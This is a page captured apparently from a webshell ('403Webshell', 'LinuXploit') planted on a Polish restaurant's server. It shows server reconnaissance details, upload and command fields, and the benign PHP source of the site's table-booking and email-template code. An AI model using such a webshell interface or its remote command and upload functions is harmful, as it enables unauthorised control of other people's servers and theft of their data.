403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/includes/polana_v175_booking.php
<?php
declare(strict_types=1);
/* POLANA_V20_OPENING_HOURS */
require_once __DIR__.'/polana_v20_opening_hours.php';
/** POLANA V17.5: opening hours and branded transactional email. No side effects on include. */

function pv175_default_config(): array {
    $days = [];
    for ($i=1;$i<=7;$i++) $days[(string)$i] = null; // no invented business hours
    return ['days'=>$days, 'exceptions'=>[], 'duration'=>90, 'lead'=>60, 'step'=>15];
}
function pv175_config(): array {
    $cfg = pv175_default_config();
    $stored = json_decode(setting('polana_v175_booking_hours', ''), true);
    if (!is_array($stored)) $stored = [];
    foreach (['days','exceptions'] as $k) if (isset($stored[$k]) && is_array($stored[$k])) $cfg[$k] = $stored[$k];
    foreach (['duration','lead','step'] as $k) if (isset($stored[$k])) $cfg[$k] = (int)$stored[$k];
    return pv20_apply_opening_hours($cfg);
}
function pv175_enabled(): bool { return pv20_source_present() || setting('polana_v175_booking_enabled', '0') === '1'; }
function pv175_time_minutes(string $time, bool $end=false): ?int {
    if ($end && $time==='24:00') return 1440;
    if (!preg_match('/^(?:[01]\d|2[0-3]):[0-5]\d$/D', $time)) return null;
    [$h,$m] = array_map('intval',explode(':',$time));
    return $h*60+$m;
}
function pv175_valid_window($window): bool {
    if (!is_array($window)) return false;
    $start = pv175_time_minutes((string)($window['open']??''));
    $end = pv175_time_minutes((string)($window['close']??''),true);
    return $start !== null && $end !== null && $start < $end;
}
function pv175_day_window(string $date, ?array $cfg=null): ?array {
    $cfg ??= pv175_config();
    if (array_key_exists($date, $cfg['exceptions'])) {
        $window = $cfg['exceptions'][$date];
        return pv175_valid_window($window) ? $window : null;
    }
    $d = DateTimeImmutable::createFromFormat('!Y-m-d', $date, new DateTimeZone('Europe/Warsaw'));
    if (!$d || $d->format('Y-m-d')!==$date) return null;
    $window = $cfg['days'][(string)$d->format('N')] ?? null;
    return pv175_valid_window($window) ? $window : null;
}
function pv175_available_slots(string $date): array {
    $zone = new DateTimeZone('Europe/Warsaw');
    $d = DateTimeImmutable::createFromFormat('!Y-m-d', $date, $zone);
    if (!$d || $d->format('Y-m-d')!==$date) return ['slots'=>[], 'message'=>'Wybierz prawidłową datę.'];
    $now = new DateTimeImmutable('now', $zone);
    $today = $now->setTime(0,0);
    $maxDays = max(1,min(365,(int)reservation_setting('reservation_days_ahead')));
    if ($d<$today || $d>$today->modify('+'.$maxDays.' days')) return ['slots'=>[], 'message'=>'Termin jest poza dostępnym zakresem rezerwacji.'];
    if (!pv175_enabled()) return ['slots'=>[], 'message'=>'Ograniczenia godzin nie są jeszcze aktywne.'];
    $cfg = pv175_config();
    if (!empty($cfg['_opening_hours_error'])) return ['slots'=>[], 'message'=>'Trwa aktualizacja godzin otwarcia. Skontaktuj się z restauracją lub wybierz termin później.'];
    $window = pv175_day_window($date, $cfg);
    if (!$window) return ['slots'=>[], 'message'=>'W tym dniu restauracja nie przyjmuje rezerwacji online.'];
    $start = pv175_time_minutes((string)$window['open']);
    $end = pv175_time_minutes((string)$window['close'],true);
    $duration = max(15,min(360,(int)$cfg['duration']));
    $lead = max(0,min(10080,(int)$cfg['lead']));
    $step = in_array((int)$cfg['step'],[15,30,60],true) ? (int)$cfg['step'] : 15;
    $minTime = $now->modify('+'.$lead.' minutes');
    $slots = [];
    $first = (int)(ceil($start/$step)*$step);
    for ($minute=$first;$minute+$duration<=$end;$minute+=$step) {
        $hour=(int)floor($minute/60); $mins=$minute%60;
        if ($hour>=24) break;
        $time=sprintf('%02d:%02d',$hour,$mins);
        $at=$d->setTime($hour,$mins);
        if ($at<$minTime) continue;
        $slots[]=$time;
    }
    return ['slots'=>$slots, 'message'=>$slots ? 'Wybierz dostępną godzinę.' : 'Brak dostępnych godzin w tym dniu. Wybierz inną datę.'];
}
function pv175_validate_slot(string $date, string $time): array {
    if (!pv175_enabled()) return ['ok'=>true, 'message'=>''];
    $result=pv175_available_slots($date);
    $normalized=substr(trim($time),0,5);
    if (in_array($normalized,$result['slots'],true) && preg_match('/^\d{2}:\d{2}$/D',trim($time))) return ['ok'=>true,'message'=>''];
    return ['ok'=>false,'message'=>$result['message']==='Wybierz dostępną godzinę.' ? 'Wybrana godzina jest poza godzinami przyjmowania rezerwacji. Wybierz termin z listy.' : $result['message']];
}
function pv175_email_html(string $title, string $body, array $reservation, string $kind='received'): string {
    $safe=static fn($v):string => htmlspecialchars((string)$v,ENT_QUOTES|ENT_SUBSTITUTE,'UTF-8');
    $labels=['received'=>'Otrzymaliśmy prośbę','confirmed'=>'Rezerwacja potwierdzona','rejected'=>'Brak dostępności','cancelled'=>'Rezerwacja anulowana','admin'=>'Nowa prośba o rezerwację'];
    $colors=['received'=>'#d4aa60','confirmed'=>'#89bd88','rejected'=>'#df9c83','cancelled'=>'#df9c83','admin'=>'#d4aa60'];
    $label=$labels[$kind]??'Informacja o rezerwacji';
    $accent=$colors[$kind]??'#d4aa60';
    $date=DateTimeImmutable::createFromFormat('!Y-m-d',(string)($reservation['reservation_date']??''),new DateTimeZone('Europe/Warsaw'));
    $displayDate=$date ? $date->format('d.m.Y') : (string)($reservation['reservation_date']??'');
    $displayTime=substr((string)($reservation['reservation_time']??''),0,5);
    $name=(string)($reservation['guest_name']??'');
    $guests=(int)($reservation['guests']??0);
    $code=reservation_display_code((string)($reservation['reservation_code']??'')); // POLANA V18.13
    $bodyHtml=nl2br($safe($body),false);
    // Telefon restauracji: osobny numer w e-mailach, a jeśli nieustawiony, użyj telefonu strony.
    $restaurantPhone=trim((string)setting('polana_v175_email_phone', setting('phone', '')));
    $restaurantTel=preg_replace('/[^0-9+]/', '', $restaurantPhone) ?? '';
    $phoneHtml=($restaurantPhone!=='' && preg_match('/\d{6,}/', preg_replace('/\D/', '', $restaurantTel) ?? ''))
        ? 'Telefon: <a style="color:#36543a;font-weight:bold;text-decoration:none" href="tel:'.$safe($restaurantTel).'">'.$safe($restaurantPhone).'</a><br>' : '';
    $logo='https://mojapolanasmakow.pl/assets/img/logo-splash.png';
    $menu='https://mojapolanasmakow.pl/menu';
    $contact='https://mojapolanasmakow.pl/kontakt';
    $adminButton = $kind==='admin' ? '<a href="https://mojapolanasmakow.pl/admin/reservations.php" style="display:inline-block;padding:14px 24px;background:#d4aa60;color:#202b21;text-decoration:none;border-radius:9px;font-size:14px;font-weight:bold">Otwórz panel rezerwacji</a>' : '';
    $intro = ''; // POLANA_V1751_EMAIL_PHONE: zbędny komunikat usunięty
    $titleSafe=$safe($title);
    $statusSafe=$safe($label);
    return '<!doctype html><html lang="pl"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>'.$titleSafe.'</title></head>' .
    '<body style="margin:0;padding:0;background:#f4f1e9;color:#263126;font-family:Arial,Helvetica,sans-serif">' .
    '<div style="display:none;font-size:1px;color:#f4f1e9;line-height:1px;max-height:0;opacity:0;overflow:hidden">'.$statusSafe.' — Moja Polana Smaków</div>' .
    '<table role="presentation" cellpadding="0" cellspacing="0" border="0" width="100%" style="background:#f4f1e9"><tr><td align="center" style="padding:24px 12px">' .
    '<table role="presentation" cellpadding="0" cellspacing="0" border="0" width="100%" style="max-width:620px;background:#fff;border-radius:18px;overflow:hidden">' .
    '<tr><td align="center" style="padding:31px 24px 24px;background:#233326;border-bottom:4px solid '.$accent.'"><img src="'.$logo.'" width="160" alt="Moja Polana Smaków" style="display:block;width:160px;max-width:80%;height:auto;border:0"><div style="padding-top:16px;font-size:11px;letter-spacing:3px;color:#e6d8b8;text-transform:uppercase">Rodzinne smaki w sercu Krakowa</div></td></tr>' .
    '<tr><td style="padding:30px 30px 8px"><div style="font-size:12px;font-weight:bold;letter-spacing:1px;color:#7d6942;text-transform:uppercase">'.$statusSafe.'</div><h1 style="margin:12px 0 12px;font-size:27px;line-height:1.25;color:#233326">'.$titleSafe.'</h1><div style="font-size:15px;line-height:1.8;color:#444c44">'.$bodyHtml.'</div></td></tr>' .
    $intro .
    '<tr><td style="padding:10px 30px 25px"><table role="presentation" cellpadding="0" cellspacing="0" border="0" width="100%" style="background:#f7f6f1;border:1px solid #e7e2d8;border-radius:12px"><tr><td colspan="2" style="padding:17px 18px 6px;font-size:12px;font-weight:bold;letter-spacing:1px;color:#85785d">SZCZEGÓŁY REZERWACJI</td></tr>' .
    '<tr><td style="padding:9px 18px;font-size:13px;color:#6c746b">Termin</td><td align="right" style="padding:9px 18px;font-size:14px;font-weight:bold;color:#243225">'.$safe($displayDate).'</td></tr>' .
    '<tr><td style="padding:9px 18px;font-size:13px;color:#6c746b">Godzina</td><td align="right" style="padding:9px 18px;font-size:14px;font-weight:bold;color:#243225">'.$safe($displayTime).'</td></tr>' .
    '<tr><td style="padding:9px 18px;font-size:13px;color:#6c746b">Liczba gości</td><td align="right" style="padding:9px 18px;font-size:14px;font-weight:bold;color:#243225">'.$guests.'</td></tr>' .
    '<tr><td style="padding:9px 18px;font-size:13px;color:#6c746b">Nr rezerwacji</td><td align="right" style="padding:9px 18px;font-size:12px;font-weight:bold;color:#243225">'.$safe($code).'</td></tr>' .
    ($kind==='admin' ? '<tr><td style="padding:9px 18px;font-size:13px;color:#6c746b">Gość</td><td align="right" style="padding:9px 18px;font-size:14px;font-weight:bold;color:#243225">'.$safe($name).'</td></tr>' : '') .
    '<tr><td colspan="2" style="height:12px"></td></tr></table></td></tr>' .
    '<tr><td align="center" style="padding:0 24px 30px">'.$adminButton.'<div style="padding-top:'.($kind==='admin'?'18':'0').'px"><a href="'.$menu.'" style="display:inline-block;padding:13px 20px;margin:4px;background:#233326;color:#fff;text-decoration:none;border-radius:9px;font-size:14px">Zobacz nasze menu</a> <a href="'.$contact.'" style="display:inline-block;padding:12px 19px;margin:4px;background:#fff;color:#233326;text-decoration:none;border:1px solid #b8c1b8;border-radius:9px;font-size:14px">Kontakt</a></div></td></tr>' .
    '<tr><td align="center" style="padding:24px 20px;background:#f5f4ef;border-top:1px solid #e6e3da;color:#6a6d66;font-size:12px;line-height:1.8">Moja Polana Smaków · ul. Bożego Ciała 15, Kraków<br>'.$phoneHtml.'W sprawie rezerwacji napisz na <a style="color:#36543a" href="mailto:[email protected]">[email protected]</a><br><span style="font-size:11px">To wiadomość dotycząca Twojej rezerwacji, nie newsletter.</span></td></tr>' .
    '</table></td></tr></table></body></html>';
}

Youez - 2016 - github.com/yon3zu
LinuXploit